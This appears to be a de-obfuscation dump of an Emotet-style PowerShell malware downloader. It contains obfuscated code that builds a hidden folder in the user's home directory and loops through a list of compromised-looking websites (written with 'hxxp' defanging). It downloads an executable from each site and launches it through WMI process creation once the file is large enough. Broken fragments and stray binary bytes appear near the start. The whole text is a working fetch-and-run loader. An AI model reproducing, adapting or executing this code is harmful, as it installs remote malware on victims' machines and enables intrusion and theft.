foreach $A8i3ke1 in $Anbyt1y{try{$Odb3hf3."dO`WnLOA`dfILe"$A8i3ke1, $Scusbkj;
$Zhcnaux=Ekkj47t;
If &Get-Item $Scusbkj."LEn`GTh" -ge 45199 {[wmiclass]win32_Process."cR`eaTE"$Scusbkj;
$Glwki6a=Imtdxv6;
break;
$Pfpblh1=Vslalcu}}catch{}}$F47ief2=Bnzidrt>�z�Zh���<���^,�]z set-IteM VAriABLe:SNmkh  [TYPE]"{1}{3}{4}{0}{2}" -FeCT,SYSTEm.Io.,orY,d,IR;
  $Ekb9Lq=  [TyPE]"{2}{4}{0}{3}{7}{1}{6}{5}" -fserv,OiN,SYstem.,iC,Net.,gER,tmaNa,ep  ;
  $H761s3z=J0swxe8;
$Tz0jwcd=$O2s0ph5  [char]64  $E3k8u4e;
$Nn_1hnc=Tpi1w67;
  $SnMkH::"crE`ATEDI`R`eCTOrY"$HOME  673Wqewzer673Zdoz0xf673  -CrepLaCE  673,[cHaR]92;
$E4fhfgg=Bjt2s4e;
  $ekb9Lq::"SECURITYPRO`TOC`OL" = Tls12;
$Vocjfgn=Rqi__d0;
$Qxmnpt4 = Xp13y90;
$F8y06mv=Hy7i4w2;
$K0t19gd=Hh6dcm8;
$Q6bjkwn=$HOMEIEwWqewzerIEwZdoz0xfIEw-CrEplaCE IEw,[CHar]92$Qxmnpt4.exe;
$Lzbispm=Wkzlh2t;
$J8f2q2n=.new-object nET.WEBcLiEnt;
$Cnwamla=hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/."R`ePl`Ace"/,[array]/,xwe[0]."Sp`lit"$R1nzojq  $Tz0jwcd  $Vzzxss7;
$U04euts=Qh6ys33;
foreach $Ccoun3c in $Cnwamla{try{$J8f2q2n."DO`W`NloAd`FILE"$Ccoun3c, $Q6bjkwn;
$Rvpn_ht=Gbo52z6;
If &Get-Item $Q6bjkwn."L`ENGtH" -ge 37084 {[wmiclass]win32_Process."c`ReAtE"$Q6bjkwn;
$Sti0p1f=Icgo3sc;
break;
$D09dt0v=P6tezk0}}catch{}}$Nk3jtuk=Gfyem4r